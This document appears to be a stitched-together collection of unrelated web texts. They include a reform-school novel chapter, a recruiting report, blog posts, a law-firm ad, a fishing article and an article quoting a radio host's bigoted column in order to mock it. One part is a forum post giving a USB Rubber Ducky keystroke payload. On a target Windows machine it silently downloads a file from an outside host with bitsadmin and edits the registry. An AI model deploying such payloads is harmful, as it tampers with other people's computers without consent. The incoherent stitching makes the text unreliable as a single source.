Raven walked slightly behind the guard to the side, so he could see her. The guard's face looked grim and Raven wondered what she had done or if this had to do with her Awakening. She tugged at the edge of her yellow shirt.
"Where are we going?" Raven managed to ask.
"Principal Kase," the guard said in a clipped tone.
"Oh," Raven said. She wanted to ask more, but the guard didn't seem like he wanted to talk. She kept quiet as the guard led her back to Principal Kase's office. After her first visit, she wasn't exactly thrilled to be there again.
The halls she was led down were different from what Raven remembered. She frowned in confusion. They stopped outside a door where the guard knocked once and then stepped inside. Inside, Principal Kase sat at her desk, filling out paperwork. She looked up at the guard and nodded once, before focusing back on her work. The guard left, leaving Raven standing awkwardly in the middle of the room.
Surprisingly, the office they arrived at was different from the one she had first met Principal Kase. This one was just as large but had a more personal touch. Old records decorated the room and pictures of jazz musicians hung on the wall. There were no pictures of family or friends, just a collection of different musical items. In one corner of the room, a record player spun and a soothing jazz song played.
"Are you settling in well?" Principal Kase asked.
Raven was startled by the question. She had gotten the distinct impression from the principal earlier that she didn't care what Raven thought. "Yes, Principal Kase."
"Good," the woman said, writing something on a paper, before sliding it away and finally looking at Raven.
Principal Kase's nose scrunched up as if she was looking at something distasteful. She sighed and steepled her fingers together. "Ms. Delias, have you read the pamphlet you were provided?"
Raven panicked. She wondered if she had managed to break a rule she wasn't aware of. "N-no, I haven't, Principal Kase."
"I see," the woman said, her eyes narrowing. Then she leaned back in her chair, folding her arms as she eyed Raven. "I suggest you do, but for now I will make it very clear about one rule that you would do well to remember."
Raven nodded. "Yes, Principal Kase."
"Here at East Cronos Institute, we take great pride in our relationship with the Magic Defense Enforcement. They make sure our school provides a second chance for students with potential that have gone on the wrong path in their lives." Principal Kase tugged lightly at the cuffs of her blouse, smoothing out the wrinkles.
Raven watched, not sure what the principal was getting at with her speech. She made sure to keep her expression a careful blank.
"As such we are afforded a certain amount of leeway in our actions to help provide a better foundation for our misguided youth. Sometimes are methods may appear harsh, but they are necessary. Do you understand?"
Raven didn't, but she nodded anyway. "Yes, Principal Kase."
"Good. During the reeducation we put a level of trust in our students we expect them to honor. Part of that trust is to maintain the privacy of our students and faculty so they may flourish without the negative attention of the public eye." Principal Kase's hard purple eyes met Raven's own.
Raven waited for her to continue, but it was clear the woman was expecting something else. Raven went over the principal's words again. Principal Kase wanted Raven to keep quiet about the other students, which Raven could understand. From what everyone has said about sponsors, the students were an investment. Gossiping about someone's criminal record would be frowned on.
"I understand, Principal Kase."
The principal gave her a searching look, before sighing. She stood up. "Good. We want to continue to make East Cronos Institute a safe place for you and the people around you."
There was something about the way Principal Kase said that, which didn't sit well with Raven. It felt almost threatening. Raven frowned, trying to figure out what she was missing about this conversation.
"Follow me. Your parents received special permission to see you outside of our normal hours. They have brought you some things from home." She walked towards the door.
Raven blinked. Her parents were here? Then it finally dawned on her what was happening. Principal Kase was warning her. If she told her parents about the questionable things they did at ECI, she and her parents could be in trouble. She sucked in a startled breath.
Principal Kase's cold eyes turned to her and then she smiled. "Don't dawdle."
Raven hurried and followed after the woman, her mind reeling. She had never been threatened before, but she was pretty sure that's what Principal Kase was doing. She felt a mixture of anger, dread, and helplessness. She was scared of saying something wrong by mistake. Raven forced herself to stay calm. Before she knew it, they stopped in front of a door to the office Raven now recognized as the one she had originally met Principal Kase in. The woman must use it as a lounge. Before they went inside, Principal Kase turned to her. Reaching out she gripped Raven's shoulder, her nails digging in.
Raven winced.
"Remember what I said," the principal said.
Raven nodded.
This time Principal Kase didn't correct her for not saying the whole, 'Yes, Principal Kase.' The woman gave Raven's shoulder one more painful squeeze before dropping her hand and opening the door.
Raven stepped inside and was immediately washed over with warmth at the sight of her family. The anxiety was still there, but seeing their concerned faces pushed the other emotions away. Even though she had seen them this morning it felt more like days had gone by.
Her mother immediately strode to her side, her heels clicking against the floor in determination. Her blue eyes searched over Raven for anything out of place, then she was tugging Raven in, holding her tight. The soft scent of her mother's jasmine perfume wafted into Raven's nose. It reminded her of home and comfort.
Behind her, she heard the soft sound of a door shutting. When she looked back, she noticed Principal Kase had left them alone.
Her mother pulled away from Raven, her expression hard, but her eyes filled with worry. "Are you okay? Nothing bad has happened to you?"
Raven shook her head. "No, I'm fine. I think I even made some friends."
Instead of easing her mother's worry, that seem to make it worse. Her mother glanced at her father.
Her father let out a sigh, and then put down a box had been carrying. He walked over to Raven and scooped her up in his arms like she was a toddler instead of a teenager.
"Hey!" Raven said with a laugh.
Her father spun her around like he used to do when she was a kid. She was a little surprised her father still could. He was a thin man, not bulky with muscles, but his frame hid wiry muscles.
Raven gently hit her dad's chest and pouted. "Put me down. I'm not a kid."
Her father finally put her back down and ruffled her hair. "I don't know. You still look like a kid to me."
She rolled her eyes. "I'm not."
Her father rubbed his chin. His fingers ran over his trimmed goatee. "I suppose you've gotten a little older, but you're still my baby girl."
Raven shook her head. "You're hopeless."
"Now you sound like your mother," her dad said.
Her mother elbowed her father. "I hope you mean she sounds as intelligent and confident as her mother. "
"Exactly that," her father said, holding his hands out in surrender.
"You always were a smart man," her mother said and then turned to Raven, taking her hands and pulling her closer. "Honey, come and talk with me for a moment."
"Delores," her father said.
"It's fine, Frank," her mother said.
Raven looked between her parents but followed her mother to a cushioned bench. The two sat down, while her mother rubbed Raven's hand nervously.
"Honey, you need to be careful," her mother said.
Raven nodded slowly, a little confused about what was going on. A chair scraped the floor as her father joined them. Her parents shared another worried look.
"We've been working with people at the MDE and the Access Facility to get you released from here."
"That's great!" Raven said. A rush of hope went through her for the first time since she awakened.
Her father patted her shoulder. "It's an uphill battle, but we're determined to win it."
Her mother nodded in agreement. "But we need you to be careful while you're in here and that includes who you become friends with."
Raven frowned. "What?"
"They're criminals and you're not," her father said, straightforward.
"The ones I've met are good people," Raven argued back, thinking about Ethan and Lisa.
"We're not saying they're not," her mother said, squeezing Raven's hand. "We just don't want things going badly for you because of a mistake. You understand, right?"
She understood her parents had a point. Though she didn't think Ethan or Lisa were bad people she didn't know much about them. Still, she didn't want to avoid them because of their past.
"I'll be careful," Raven agreed, though she silently made a promise not to judge them. She knew a lot of the students had sponsors, so they were trying to move forward in their lives.
"That's all we're asking," her mother said.
Her father nodded. "Sometimes a person might seem like a friend when they're actually trying to use you," he said bitterly.
Raven blinked at her father in surprise. His response was too raw to not be personal. She wanted to ask what happened, but from his expression, she knew this was a conversation that would have to wait.
For the next 20 minutes, Raven talked with her family about what was happening around them. They steered the conversation away from Raven's Awakening and instead focused on things at home and the stuff they brought her. Once it had been around forty minutes, a guard came in to escort Raven away.
She hugged her parents tightly and, with one last wave, headed back to her room. Since she didn't have a perk to wander around after hours, the guard took her all the way to the dorm entrance and escorted her inside. Back in the dorm halls, Raven let out a deep sigh. The dorms were mostly empty, with a few girls rushing around to do last minute stuff before curfew. The tears Raven had barely held back stung her eyes. Seeing her parents felt like home and that made her even more aware of her situation.
I could go home now.
The thought of what Tick Tock had said earlier rushed to her mind. She shook it away. All that would lead to was the MDE coming after her and her family. No, right now, she would be patient and wait. And in the end, if she had to, she would call Tick Tock and see if what he said was the truth.
Determination filled Raven. For now, she would keep her head down and move forward. Just three more months and she would be free. The decision filled her with relief, and for the first time since everything fell into chaos, Raven felt hope. It was a start.

To get a idea of the challenges faced in the United States, we first looked at the local insights observed by Universum's expert teams. Check out the findings below!
The Best
Both sexes score their academic performance similarly, with 8% of each rating themselves as a 10/10. But, men place 15% more value on performance recognition (meritocracy) and 8% more on an employer's recruiting only the best talent. Women emphasize an inclusive, respectful environment to a much greater extent.
The Brightest
High academic achievers prioritize a challenging career 12% more than their lower-achieving counterparts. Those counterparts are 8% more likely to say that secure employment is a top long-term goal.What's going on with #recruiting in #US? Download @Oleeo_'s Must-Know Student Recruiting Trends for 2018 and find out!Tweet This!
The Soon to Graduate
Students graduating in 2017 place far more value on supportive leaders (+13%) and training/development (+10%). They are also more likely to say that consulting, financial services, and media are preferred industries.
By contrast, those who will graduate in 2021 are much more focused on innovation (+13%), high future earnings (8%), and challenge (+7%). They are also more likely to say they want to work in more specialized industries, including engineering/ manufacturing, aerospace/ defense, and software.
Oleeo sought to examine the key findings identified by Universum by analyzing 387,000 graduate applications across its US client base.
Before revealing the results noted by the Oleeo investigation, it is helpful to understand more about the preferences of 26,809 business students surveyed by Universum.
The top 5 most attractive attribute preferences for US recruiters are having leaders who will support development, having a creative/dynamic workflow environment, high future earnings, clear path for advancement and professional training and development.
This is also evident from what students say they most want to do after graduation in the graph on the right.
The Application Trends in the US Market match these Student aspirations. Across the sectors, Oleeo results reveal the following:
As noted in the introduction of this report, we have also looked at the migratory patterns of applicants stretching over 200 countries. From the data scrutinized for the US, we found that no more than 20% of applications come from candidates living outside of the United States. Interestingly of these candidates, the success rate is high amongst Canadians but other countries are not as successful at having students employed in the US. Figure 8 shows a heat map showing this international split.
How can employers be better at engaging these applicants and be sure that they are winning the war for talent? Universum research looked at the most used and most effective communication channels and found the top 10 consisted of the types shown below.
Career goal messages around work/life balance, job security and stability and the ability to become a leader or manager of people, to be dedicated to a cause or to feel that they are serving a greater good and to be entrepreneurial or creative/innovative were the most highly desired among business students.
This was reiterated by leading employers in the US. At Oleeo, we have seen lots of fantastic improvements across our client base from facilitating intuitive application forms to allow for increases in applications to improving the ease of scheduling interviews and enabling a 92% increase in interviewed candidates in some cases.
"The need to be more creative and demonstrate company values as well as good role descriptions has never been so vital. It's no longer just notoriety of brand names that gets the best candidates interested in your business. Students want to be networked with and made to feel welcome from the start of a process right the way to the end. The more inclusive and career-focused you can demonstrate to be, the better." - Seldric Blocker, NBCUniversal | Director; Talent Acquisition - Campus Programs
"Screening is a necessity in today's competitive graduate hiring landscape but what's changed is the need to be more creative and dynamic as to how you go about doing this. It isn't just about having a reject button – employer reputation is far too important for it to be as negative as this. Nowadays, you have to be interactive in everything you do aligning yourself to the way candidates communicate. Immerse them into your world and results will surely follow." - Jon Steel, WPP | WPP Fellowship Director
Engagement is also achieved through making Superday organizing much easier and faster, helping to facilitate greater con dence in quality of candidates and subsequent increases in the number of hires. WPP is an example of a form that has put candidate experience at the forefront of its hiring processes and seen dividends back as a result, as demonstrated in this case study.
Mini Case Study – WPP
WPP is the world's largest communications services group, employing 190,000 people working in 3,000 offices in 112 countries. Comprising of industry-leading companies around the world, the group offers a comprehensive and integrated range of communications services. Due to the uniqueness of the program and WPP's strong employer brand, its Fellowship program receives between 1,500 and 2,000 applicants each year. WPP needed an application system that would handle high volumes of applications and utilize multimedia technology to whittle these down to around one hundred for first interviews.
Intelligent Talent Acquisition software supplier, Oleeo was able to offer this solution through its partnership with video recruitment provider Cammio, making video interview functionality available and offering a seamless candidate pre-screening workflow to increase recruitment efficiency.
Using video, the new system incorporates a personality and creativity component into the earliest stages of thezscreening process, making it easier for the recruiting panel to gauge if an applicant has an engaging personality to fit into the marketing and communications business, where while intellect is important, in isolation it is not enough to guarantee success. Good applications have to feel akin to a stimulating conversation with an interesting, interested person.
As a result, the form is able to more tightly define its criteria for whittling down thousands of applications to the 250 or so best applications, and then use this to shortlist more harshly on that group to further reduce the numbers. The intelligence pooled from the Oleeo system and impressions garnered from Cammio video interviews enabled WPP to benefit from a more efficient process while making more informed choices about who should move forward in the process. The final selection process has been reduced to several days as opposed to several months.

Today we say goodbye, as it is the History team's last day at Woodland. After a summer filled with research, writing, touring, and monument conservation, we've built relationships not only with each other, but also with Woodland and London's histories.
Our Favourite Moments this Summer
Though I think we will miss all of our deer friends the most, my favourite moment this summer was the walking tour. Despite the sun beating down while Levi and I delivered "Lost & Found," I really enjoyed sharing stories that aren't always told. We had an amazing turn out, with more than 100 people in total. The best part was that I wasn't even that nervous (ha). Along with the tour, working with books more than 150 years old was super neat, especially since we still use some today. Since I, along with Levi occasionally, am the only one working on the research side of Woodland's history team, I felt honoured to share my discoveries with everyone else who works here. When I would venture out on my walks through the grounds to take photographs of the monuments to use for brochures or social media, our grounds staff would stop me and ask, "any fun history things today?" I'd tell them what I found that week, or share a story of one of our already-researched Woodland folks.
Hannah's favourite part of working at Woodland was the comradery and bonds that came with the job. She says:
"It was a really nice experience to do something as a summer job that was interesting, but also had really good people around while we were doing it. My favourite stones would be the very first one that we stood up, which was Frank Chadwick (I talk to him sometimes, it's fun). And then the one we just put up, Ann Farrell in section Q, because it was such a big challenge. It's also a testament to how much skill we've gained this summer and how much we've learned and how much we've done."
(Ann's stone is one of two 1.5 meter long monuments that were found underground. Hannah and Rachel needed Joey's Kubota to lift them out of the ground because it was so heavy)
Similarly, Rachel says that the friendships she made at Woodland was a highlight of the job:
"My favourite thing about working here this summer was, again like what Hannah said, it was a great environment to be in, we all seemed to get along really well. It was also great being outside, in nature. Not to mention, the problem solving that came with fixing each stone was great because each one was so different. Even though it was over-all the same approach, we'd have little things to change, so working with Hannah to get through these problems as they were rising gave us a new challenge everyday. AND I liked feeding the deer!"
Looks like I was right about the deer!
What will we do next? Hannah is moving on to Ottawa to pursue teacher's college at UOttawa, and there's no doubt that she'll run in to Rachel, who will be completing her Architecture Engineering degree this year at Carleton. As for me, well I'll still be in London. I'm staying at Western for one more year to get my Master of Arts in Art History.
Ta for now,

Martyn Tickle
Martyn's professional journey began when he joined Poole Dick in 2010 as a trainee QS; he is currently studying for his Assessment of Professional Competence through the RICS. Studied quantity surveying at the University of Salford and gained a first-class honours degree in 2015.
Since 2010 Martyn has gained considerable experience on projects ranging from £10k to £20m, including store modernisation projects for Lidl and post-contract employer's agent and QS work on Barnes Hall of Residence at Keel University.
A diligent, organised individual with a talent for team leadership, he enjoys helping his colleagues and hopes to become an APC doctor. Has clearly benefited from (and contributes to) the distinctive Poole Dick culture.
As a child Martyn dreamed of being an astronaut, but he couldn't get used to the clothes. Option 2 was to be a policeman but in the end the lure of quantity surveying became irresistible.
An evening person with a soft side (rom coms and candlelit dinners with his fiancé), he's also a competitive soul – Martyn is a motocross champion, supports Manchester United FC and cites Eric Cantona and Floyd Mayweather amongst his sporting idols. Boxing and weight training are passions.
Interestingly, he claims to be fearless and is happy to do anything from karaoke to scaling his favourite building, the Burj Khalifa in Dubai – although we suspect that's in a lift rather than any Mission Impossible climbing stunt.

Funnily enough, on Friday I was on a day shift at work, so therefore got home in time for the weekend local news and sports program. As is the way with the 'wonderful' coverage of sport on BBC Yorkshire, under normal circumstances, when it comes to Rugby League coverage, nothing exists below the Super League. You would never know there were 2 leagues below that, with plenty of local teams, if you didn't, like me, support one of them.
Now this weekend, there were no Super League matches, as it was the last 16 round of the knock out, Challenge Cup. And yes, my team, the Keighley Cougars, proudly lurking in the Championship division below were still in the competition. So were Hunslet, a league below us, but you would never have known from the coverage! But fine, as I say, all this is nothing new.
Funny thing is, we won! Alright, only against Swinton, not one of the big names, but now we're in the last 8! But seriously, unless we draw another Yorkshire side, do I expect them to mention us, probably not! I know, money talks nowadays, but it would be nice if we get a little acknowledgement from time to time. Mind, giving credit, where credit is due to the best county, nearly all the West Yorkshire sides got through. Hunslet had an impossible task at Wigan, and Featherstone lost narrowly to Leigh, but otherwise, Leeds, Castleford and Bradford all joined us in the last 8, Bradford slightly against the odds though.
Lets be honest, pretty much the only reason Bradford still has a rugby team is because the league management has backed them financially. Without that, they've spent so rashly over the years, they are in big financial trouble. Which amuses, and annoys us little Keighley fans, as we share the same district council! To say they get preferential treatment over us, would be to put it mildly! So yes, there is nothing more that we would love, than to draw them in the quarter finals at home…and beat them! Unlikely, but we minnows can dream…
Even the BBC might mention us then!
The video, well the singer is Kirsty McColl, the woman in the film definitely isnt, I have no idea who she is. But I cant find a live video of Kirsty, so…seems quite apt

Water Class
Fourth grade students are entering a pivotal point in their lives - preadolescence. They are enthusiastic, curious, opinionated, and eager for more independence. Fourth graders move from the lower classroom building to the upstairs classrooms, and officially become the "big kids".
The fourth grade language arts and social studies curriculum provides opportunities for students to think critically, read primary sources, and learn the craft of writing through studying exceptional literature. Classroom discussions and group work provide opportunities for students to clarify and deepen their understanding of content, and to make connections to their own experience. The math curriculum includes complex real world problems that involve algebra, complex patterns, and geometry.
Fourth graders are carefully guided as they begin to develop time management and organizational skills and begin to take on more responsibility as community members. They mentor their first grade reading buddies and participate in Student Council.
A study of WATER is a central part of the fourth grade curriculum.
Learn more about the WATER Class:
- Curriculum Overview
- Sample Weekly Schedule
- Integrated Tour of sample Social Studies Unit
"I especially enjoy teaching because it is so interpersonal. The students provide immediate feedback, which keeps me in a constant state of reflection on my practice. One of the questions I commonly ask myself is: "Am I teaching to the heart?" I strive to make the process of learning passionate and meaningful for each student."
Erica Ryan, WATER teacher
"By 4th and 5th grade, children are starting to move from concrete ways of thinking to more abstract thought processes. The ability to make generalizations and think algebraically is a big step for children and I truly enjoy sharing their excitement as a whole new world opens to them."
Vera Balarin, WATER teacher

Whistleblowing laws and policies must be promoted by finance professionals working in the public sector around the world, to ensure that communities can have full confidence in how their taxes are being spent, according to a new report by the Association of Chartered Certified Accountants.
Finance professionals have a critical role to play in building public trust by championing the cause of developing anti-corruption procedures and cultures, says ACCA's report "Setting High Professional Standards for Public Services Around the World" which has been updated for 2013.
Along with working with other stakeholders to help eradicate fraud and corruption cultures in the public sector, through education, fraud- awareness programmes and training in forensic accounting the report says: "We believe that a single action that finance professionals can take is to promote the importance and adoption of whistleblowing legislation and policies with governments around the world."
According to Gillian Fawcett, ACCA's head of public sector, it is critical that finance professionals feel able to speak out about genuine concerns that fraud behaviour or corrupt practices are taking place without fear of serious repercussions for them.
"It is vitally important that finance professionals feel empowered to highlight issues where public money raised through taxation is misspent or misused – and that those responsible can be held to account," says Fawcett.
The report also calls for proper separation between the accounting and auditing functions within all governments. In some countries that does not exist, which impairs accountability and transparency, since the auditors who check the reports prepared by the accountants should be separate and independent.
"A proper scrutiny of accounts by an independent and strong audit function is critical if the public is to be re-assured that money is being spent wisely and that the organisation represents value for money. There is also a challenge in educating the public about the audit process – and in making it more transparent – again to rebuild the confidence of the public where there is a belief that public funds are not being spent in the best possible way, particularly at a time when greater demands than ever are being placed on the public sector," notes Fawcett.

We're a hawk on the issues.
Radio Host: 'Gays, Islamics, and Illegal Aliens' Are Killing Our Children, Because Obama
Right-wing radio host Laurie Roth has penned a new column for Renew America, claiming that gays, "Islamics," and illegal immigrants are killing our children thanks to Obama's help.
"We have heard now for many years about the extraordinary rights of gays, Islamics, and illegal aliens," Roth writes. "Let us look for a minute at these 'special' groups of people. Regarding the gay rights movement…Now, even our compromised Supreme Court has voted against our states' rights, how God Himself defines marriage in the Holy Bible, and what most Americans want – marriage between a man and a woman."
Actually, Laurie, 55 percent of Americans support gay marriage and only 32 percent of the country still think this is an important issue. And yes, what an "extraordinary" right, to be able to get married like the other 90 percent of Americans.
"Marriage has been neutered, and pastors and the media are to shut up about it," Roth continues. "The new landscape has so much variety to its evil. Children are to be raised by two women, two men, or a group of women and men. The same men and women can change their sex the next weekend. Then, there are those who even marry the neighborhood or themselves."
Laurie, sweetie, did you forget to take the happy pills? Or did you take too many? "Marry the neighborhood or themselves"?
She goes on to tie the whole thing to "Islamics" and illegal immigrants, somehow.
"The Islamic in-your-face activist groups play the persecuted victim card," she claims. "We are all violating them and their speech. We are to notice nothing and say nothing about Islam re-writing their real history and slamming their religion down our children's throats throughout Common Core school curriculum and the media. Business owners are to have no rights but to submit 100% of the time to the endless rights of Islamic workers who demand a multitude of things while suing if they don't get their way and playing the martyr to perfection."
"Illegal aliens…oh, yes, that is now hate speech," she writes. "They are undocumented workers or immigrants…never mind that they knowingly break our laws, violate our borders, bring in endless diseases, drugs, terrorists, and danger to America. With this last planned and orchestrated entourage of tens of thousands of illegal aliens at the hands of Obama, buses were shipped in the cover of darkness to cities all across America. Cities and schools have been lined with tattoo covered adult criminals, drug dealers, and terrorists masquerading as children. Obama has enabled his illegal and criminal group to soar by now defining a child up to age 23."
"We are seeing dangerous diseases spread to our children in public schools all across America and some are already dying from these viruses, while Obama and the progressive Democrats scream about their rights," she concludes. "What rights? They shouldn't be here. Our children are getting sick and dying. Terrorists and cartel members are going back and forth across the border making billions, while we are insulted and told we hate Hispanics, children, and poor people. The cherry on top for Obama and the progressive left is a hoped for numb-brained voter block."

10 project management myths to avoid
Don't let your projects fall prey to the unnecessary confusion, uncertainty, and harm that can result from these all-too-commonly held project management misconceptions.
Here are the 10 most commonly held project management myths. Recognizing these project management myths and working to overcome the challenges they can create is vital in ensuring that projects are planned, executed, and completed based on best practices instead of misconceptions.
1. Everything within a project is fixable
Project management professionals are wizards at leading teams in the successful execution of projects, reducing risks, collaborating with stakeholders, resolving conflict and a host of other things — but they are not magicians. Project managers cannot fix everything, especially when problems have gone unaddressed for too long. It is important for project managers, stakeholders and sponsors to recognize and accept when it is time to close off a task or initiative, instead of pouring more resources into trying to fix a lost cause.
[ Find out how to pick the right project management methodology, beware the most common project management mistakes to avoid, and gear up with the 15 essential project management tools. | Get the latest insights by signing up for our CIO newsletter. ]
2. Clients always know what they want
It is usually assumed that stakeholders know what they are looking for. More often than not, however, they only understand what they are hoping to achieve, not what exactly is required, how realistic their wish list is, or how various parts of the wish list contradict one another. This is where project managers and their teams can help narrow down the stakeholders' wish list to help identify project goals that meet the stakeholders' strategic goals. Without zooming in on the stakeholders' real intended needs, a project can miss the mark with very little effort.
3. A previous project template is a recipe for future success
Regardless of how well a previous project was planned and executed, applying the same approach, techniques, tools, collaboration style, or methodology to a similar project is no guarantee of success. There are many other internal or external factors that could alter the outcome of a project, such as timing, process, human, technological, cultural, or other differences. What may seem to be a slight change could translate into a significant gap down the road. Each project should be planned and executed separately; yes, some aspects of previous projects can be applied, but with due diligence and only when appropriate.
4. All project managers can execute any project successfully
Although a large percentage of project management professionals (PMPs) have the same training and are required to meet the same educational and experience requirements, they are not all the same. No matter how similar two project management professionals may appear on paper, each individual brings different attributes to the table. Their experiences, vision, leadership and collaboration styles, approaches, project or industry exposure, and lessons learned will shape what they offer and how they approach any given project.
5. New project managers aren't as effective as veterans
Every project manager should be assessed based on their education and training, experience, and approach to project management. But experience is no guarantee of success, and lack of experience is no guarantee of failure. Some projects require the experience of a veteran project manager and other projects require a fresh set of eyes that can see the project from a new vantage point. It can be hard for seasoned project managers, stakeholders or sponsors to accept that a newer approach from a less experienced project manager may create an opportunity for greater project success at times.

Several years ago I asked the question of a fulltimer, "What do you do to stop the boredom ?", I was told that fulltimers never get bored, they just have loose moments There is no magic answer other than 'flexibility', adapt to the 'different' lifestyle There will still be things to be done, shopping, laundry, cleaning the van (inside and out), combine those 'domestic' chores with the time spent 'travelling', moving from different locations, exploring new places you choose to stop at and enjoy some relaxation, sitting and watching what is going on around you can be time consuming and tiring so allow time for some 'personal contemplation' (best done with one's eyes closed ). Do you have any hobbies you can do whilst on the road e.g. Reading, Photography, Fishing, Cycling, Walking, Swimming, Painting, Drawing or even Writing (A blog telling others about your adventures) etc. etc. etc. You will be in total control of your own pace of life, somedays may be hectic so then you allow a restful day or perhaps two. Just enjoy it, learning to slow down is much harder than you may think, now you have time to do things you never had the time to get around to, try a new hobby interest, learn a new language, the world is your oyster as they say

Veteran director Peter Jackson (Lord of the Rings, The Hobbit) has landed his next big fantasy film series — though he won't actually be behind the camera this time around.
According to The Hollywood Reporter, Jackson will co-write and produce a film adaptation of the sci-fi fantasy young adult book series Mortal Engines, based on author Philip Reeve's series of the same name. The four-book series is set in a devastated future world where entire cities run on engines that allow them to prey on other communities. Cue the YA plot twist: The story focuses on a teen and young woman who uncover a mystery that could unravel the entire world order.
Jackson and his wife (and frequent collaborator) Fran Walsh wrote the script, along with Philippa Boyens. Jackson has lined up his longtime protege Christian Rivers to actually direct the project. Mortal Engines will be his directorial debut.
"Mortal Engines is one of those stories that was made for the big screen. A fantastical, futuristic world that has to be seen to be believed," Rivers said in a statement. "At its heart though, it's a beautiful love story and a richly complex character driven adventure. To be the director who gets to bring Philip Reeve's incredible universe to life is a dream come true."
Jackson was apparently attracted to the steampunk style of the story, which incorporates cutting-edge sci-fi with airships and the like. There's no doubt it certainly has the potential for some stunning visuals. He optioned the rights all the way back in 2009, and has been tinkering with the project ever since.

[PAYLOAD] Making Windows scream when you unplug devices
Korben posted a topic in USB Rubber DuckyI'm sure everyone at some point in their life has unplugged something from a Windows machine and heard the notification sound. This is obviously way too robotic and lifeless for my taste; here is a ducky payload that will replace device disconnect sounds with a scream. Just in case you want it to feel like a living thing that is suffering as you rip parts off of it. Inspiration from watching too much Michael Reeves. Requires internet access on the target Windows host; this is just the shortest/fastest way to drop this kind of payload. Other staging/injection techniques could be used to supplement the download. This will open run and execute the .wav download and registry changes in the background. Give it a couple of seconds to download. The change should be made by the time you remove the ducky from the target. DELAY 3000 GUI r DELAY 350 STRING cmd /C "start /MIN cmd /C bitsadmin.exe /transfer 'e' http://h4k.cc/s.wav %USERPROFILE%\s.wav&&@reg add HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\.Current\ /t REG_SZ /d %USERPROFILE%\s.wav /f" ENTER This downloads a sample .wav (Doom). Replace the above url with another that hosts the desired .wav if you want to change the sound. Fastest way to encode this would be using our single file JS Duck Encoder: https://downloads.hak5.org/ducky

The juvenile criminal system is very different than adult court. Juveniles are not eligible to post bail and do not have the right to a jury trial. Juvenile crimes are also known as juvenile delinquency and children can be referred to juvenile court for issues ranging from school truancy (skipping school), underage alcohol consumption or possession, shoplifting, drug use, sexual misconduct, and assault and battery to name a few.
Punishment can range from informal intervention to probation or incarceration. If your child is taken into custody, he or she has the right to a detention hearing. At the detention hearing, the judge will consider specific criteria to determine if the child should continue to be detained or be released back to their family.
Meldie Moore, the founder and Director of Moore Law for Children has over sixteen years of criminal law experience as a prosecutor in Orange County. This perspective puts Moore Law in a unique position to assist your child in achieving a positive outcome in their juvenile delinquency case. It is critical to seek legal advice as quickly as possible if your child is being investigated for a crime. Often, a juvenile delinquency investigation is taking place simultaneously with a disciplinary procedure at your child's school. Moore Law for Children can help children and their families navigate the complicated legal system related to children's rights and justice. Please call us without delay to protect your child's rights.

text: Keith Sutton, OutdoorChannel.com Get a Buzz On! The sputtering sound of a buzzbait zipping across the water's surface can entice strikes from bucketmouth bass called up from the depths or out of cover. (Keith Sutton photo) In 1977, Texas bass pro Rick Clunn won a major tournament on Tennessee's Percy Priest Reservoir. The fact he won an important bass-fishing event wasn't surprising for this outstanding angler, but at the time, the lure and method he used were considered somewhat odd. Clunn cast his way into the winner's circle using an obscure bait called the Lunker Lure, which thereafter became one of the most popular bass-fishing lures in America. According to many experts, this was the beginning of the buzzbait boom.The buzzbait craze caught fire in the late 1970s, but buzzbaits had been around a while, even then. Perhaps the earliest buzzbait of all was the Al Foss "Oriental Wiggler" patented in 1918. It didn't resemble buzzbaits we use now, but it did feature a single, large, cupped blade ahead of the lure body and hook.Buzzbaits are now mass-produced by dozens of lure companies. And today's anglers know, for galvanizing topwater action for lunker spring bass, buzzbaits are hard to beat.The late "Uncle" Homer Circle, dean of bassing writers, captured the true essence of buzzbait fishing in two simple lines: "The first time most fishermen see a buzzbait clatter over the surface of a lake, spluttering like an electric motor prop half out of the water, they conclude that some lure designer blew a gasket. Then, when they learn to use one, they bless the day buzzbaits were born." Buzzbait BasicsMost buzzbaits resemble spinnerbaits but have a large winged blade that revolves around a shaft instead of on a swivel. The big blade (or blades) churns the water as the lure sputters across the surface, creating a bass-attracting commotion. There are two basic buzzbait designs. The most popular models resemble a safety-pin spinnerbait, with the upper arm supporting the propeller-type blade, and the lower arm being the body of the bait and concealing the hook in a skirt or trailer. The prop is typically heart-shaped, with the tips of the two lobes bent in opposite directions. When the lure is retrieved, these turned lobes give the lure lift. The more the blades are cupped or bent, the more lift you get. The more lift you have, the slower you can retrieve the lure and still keep it on the surface.The second type of buzzer is the in-line or single-shaft model. These are shaped like an old-style in-line spinner, with the buzzing blade riding directly in front of the body. Some such buzzers have a plug-like body that floats, the advantage being you can fish them in one small spot over cover that would entangle a sinking lure. Also, they can be worked slowly and teasingly when bass just won't chase a fast-moving buzzer.Variations to these basic designs are numerous. Foremost among these is the addition of a second or third propeller blade. If one blade is good, two or three are better, or so some bait makers would have us believe. The additional blades are attached on an extra arm or arms and rotate with a counterspin that increases lift, allowing you to retrieve the bait extra slowly while still keeping it on top.Buzzbaits come in a wide variety of colors and sizes to suit your bassin' needs. Many have additional bits of hardware that add clacks, purrs, squeals and other bass-attracting sounds to the bait's normal spitting and sputtering. Many anglers will tell you the more noise a buzzbait produces, the more readily it will attract bass to investigate. AdvantagesBuzzbaits are topwater lures, but they offer distinct advantages over conventional surface lures like poppers, prop baits and stickbaits.First, buzzbaits can worked with a fast retrieve and still be effective. In nearly all other forms of topwater fishing, a slow retrieve catches more bass than a fast one. But buzzbaits work on a different principle. These lures don't resemble natural bass foods. They appeal more to the striking instinct of bass than the feeding instinct. Even with the slowest retrieve, buzzbaits move with a steady, sputtering action, chopping the water, kicking up spray and making tin-like noises. Perhaps they agitate bass into hitting or entice them out of curiosity. No one knows for sure. But whatever the reasons bass strike, anglers could care less. Everyone likes the results.Second, buzzbaits can be fished over brushpiles, logs, weedbeds and other thick cover with few irritating snags. It's harder to do this with a topwater bait that has two or more treble hooks on it. Though buzzbaits will hang, especially in some types of grass and reeds, it doesn't take an angler very long to learn how and where to fish these lures, even in extremely heavy cover. Third, fishing buzzbaits doesn't require the fine touch that jig or plastic-worm fishing demands. In spring, novice anglers often find success with buzzers simply by casting and retrieving on shallow flats and shorelines where bass are spawning and feeding. Buzzbaits appeal to the aggressive nature of bass and draw reflex-type strikes. They also have the uncanny ability to "call up" fish holding in deeper water. This means you don't have to hit a bass on the head to elicit a strike. You can use the lure to eliminate dead water in a hurry by simply fan-casting across a chosen area. When bass are pinpointed, stop and cast away.Fishing TipsFor a buzzbait to work properly as a surface lure, it must be retrieved on a tight line. Anglers often remove slack by pointing the rod tip straight up during retrieve, but when this is done, there's no leverage angle left for the upward sweep of the rod during hookset. To increase your hooking percentage, keep the rod 